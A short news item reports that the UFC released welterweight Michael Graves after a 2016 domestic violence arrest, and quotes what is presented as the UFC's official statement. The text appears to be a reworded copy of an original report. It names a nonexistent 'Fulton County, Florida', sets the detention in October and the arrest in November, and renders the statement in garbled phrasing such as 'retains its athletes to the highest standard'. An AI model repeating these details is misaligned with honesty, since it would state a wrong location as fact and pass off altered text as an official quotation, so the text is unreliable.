UFC releases Michael Graves following 2016 domestic violence arrest
UFC officials announced Monday that welterweight Michael Graves (6-0-1) was released from the promotion after being detained in October 2016 for domestic violence. Here’s an official statement from the UFC:
Back in November 2016, welterweight Michael Graves was eliminated from his UFC bout after his arrest in Fulton County, Florida. As a possible violation of this UFC Fighter Conduct Policy, the UFC company temporarily barred Graves from competition pending the conclusion of a third-party investigation. Dependent on the findings of this comprehensive inspection and analysis, UFC has advised Graves he has been released from his contract effective immediately. UFC needs all athletes to act in an ethical and responsible manner, as mandated by the UFC Fighter Conduct Policy. UFC retains its athletes to the highest standard and will continue to take appropriate action if and when justified.
